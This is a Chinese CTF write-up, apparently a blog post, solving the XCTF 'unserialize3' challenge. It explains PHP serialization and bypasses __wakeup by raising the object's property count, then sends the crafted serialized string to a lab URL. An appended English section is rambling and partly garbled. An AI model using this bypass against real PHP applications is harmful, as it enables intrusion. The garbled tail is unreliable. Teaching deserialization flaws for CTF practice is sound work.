2020.3.30 xctf(unserialize3)③

本文深入解析了PHP反序列化机制及__wakeup魔术方法的漏洞原理,通过实例展示了如何构造特定的序列化字符串绕过__wakeup方法,实现对目标网站的潜在攻击。

在这里插入图片描述我们访问目标网址,根据__wakeup魔术方法和题目名字,可以猜到这里是用到了php反序列化
在这里插入图片描述

class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
?code=                           //可能是在提示我们http://111.198.29.45:30940?code=一个值进行利用

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,这里没有序列化字符串,何来反序列化呢?于是,我们这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)

<?php
class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf();           //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak));       //输出被序列化的对象(peak)
?>

代码执行结果:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}
/*xctf类后面有一个1,整个1表示的是xctf类中只有1个属性
__wakeup()漏洞就是与序列化字符串的整个属性个数有关。当序列化字符串所表示的对象,
其序列化字符串中属性个数大于真实属性个数时就会跳过__wakeup的执行,从而造成__wakeup()漏洞
*/

O代表结构类型为:类:4表示类名长度:接着是类名:属性(成员)个数
大括号内分别是:属性名类型;长度:名称:值类型:长度:值

因此,我们要反序列化xctf类的同时还要绕过__wakeup方法的执行(如果不绕过__wakeup()方法,那么将会输出bad requests并退出脚本),__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。因此,需要修改序列化字符串中的属性个数:
当我们将上述的序列化的字符串中的对象属性个数由真实值1修改为2,即如下所示

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

最后我们通过url传递参数:

http://111.198.29.45:30940?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

在这里插入图片描述

关于反序列化

简单的说,序列化是将变量转换为可保存或可传输的字符串的过程。
而反序列化是在适当的时候吧这个字符串再转化成原来的变量使用。

php的序列化和反序列化由serialize()和unserialize()这两个函数来完成
serialize()完成序列化的操作,将传入的值转换为序列化后的字符串
而unserialize()完成反序列化的操作,将字符串转换成原来的变量

在这里插入图片描述比如:O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;} 表示序列化的是一个对象,对象所在类名是"xctf"、该对象有一个属性,属性名为一个长度为4的字符串"flag"、该属性值为一个长度为3的字符串"111"

与序列化和反序列化的魔术方法主要是:

__construct()	//当一个对象创建时被调用
__destruct() 	//对象被销毁时触发
__wakeup() 	//使用unserialize时触发
__sleep() 	//使用serialize时触发
__toString() 	//把类当做字符串时触发
__get() 	//用于从不可访问的属性读取数据
__set() 	//用于将数据写入不可访问的属性

### XCTF Web Unserialize Challenge Solution In the context of the XCTF competition, understanding how to exploit PHP&#39;s `unserialize()` vulnerabilities is crucial. The provided code snippets and explanations offer insights into crafting a payload that can trigger specific behaviors during deserialization. The core issue lies within the implementation of magic methods such as `__wakeup()`. When an object is unserialized, this method gets called automatically before any other operation on the object occurs[^2]. In one example given: ```php class xctf { public $flag = &#39;111&#39;; public function __wakeup(){ exit(&#39;bad requests&#39;); } } $a = new xctf(); var_dump(serialize($a)); ``` This script defines a simple class with a property `$flag` set to `&#39;111&#39;`, along with a `__wakeup()` method designed to terminate execution immediately upon being invoked by outputting "bad requests". Serializing an instance of this class results in a string representation suitable for transmission over HTTP queries[^3]. To solve challenges like these, contestants need to consider several factors including but not limited to identifying classes whose behavior changes significantly after deserialization due to their defined magic methods. For instance, exploiting CVE-2016-7124 requires careful construction of objects so when they are passed through `unserialize()`, unintended actions occur leading potentially towards remote code execution or privilege escalation attacks depending on server configurations and available APIs exposed via included libraries or frameworks used alongside standard PHP functionality[^1]. A practical approach involves creating test scripts similar to those mentioned earlier which simulate real-world scenarios where serialized data might come from user inputs allowing attackers control over what exactly will get processed once it reaches application logic responsible for handling incoming requests containing said payloads encoded properly according to expected formats (e.g., URL parameters). Finally, accessing URLs constructed based off crafted strings allows verification whether intended effects were achieved successfully without causing harm outside controlled environments established specifically for learning purposes related directly back again onto original problem statements posed originally at events themselves hosted under banners associated closely enough here too mentioning them explicitly would help maintain relevance while still adhering strictly speaking only referencing materials already presented beforehand throughout discussion thus far made hereinabove paragraphs preceding now concluding remarks below following next section titled appropriately accordingly "--related questions--". --related questions-- 1. How does defining custom serialization handlers affect security? 2. What measures should developers take against malicious input targeting deserialization processes? 3. Can you provide examples of common pitfalls encountered when implementing secure coding practices around object persistence mechanisms? 4. Are there alternative approaches beyond traditional blacklisting/whitelisting strategies worth exploring further regarding mitigating risks linked particularly close association between certain types properties found inside affected versions software products known historically suffer most frequently reported incidents involving unauthorized access attempts leveraging weaknesses present within underlying architecture design choices made prior releases becoming publicly available widespread adoption across various platforms today?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值